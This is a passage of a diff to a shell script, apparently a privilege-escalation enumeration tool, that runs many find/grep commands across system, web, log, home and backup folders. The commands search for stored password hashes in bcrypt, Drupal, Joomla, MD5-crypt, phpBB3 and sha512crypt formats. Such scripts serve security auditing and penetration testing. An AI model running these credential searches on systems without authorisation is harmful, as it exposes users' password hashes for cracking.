-HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Drupal (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & +print_3title_no_nl "Searching Drupal (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Joomlavbulletin (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & +print_3title_no_nl "Searching Joomlavbulletin (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Linux MD5 (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & +print_3title_no_nl "Searching Linux MD5 (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching phpbb3 (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & +print_3title_no_nl "Searching phpbb3 (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching sha512crypt (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} 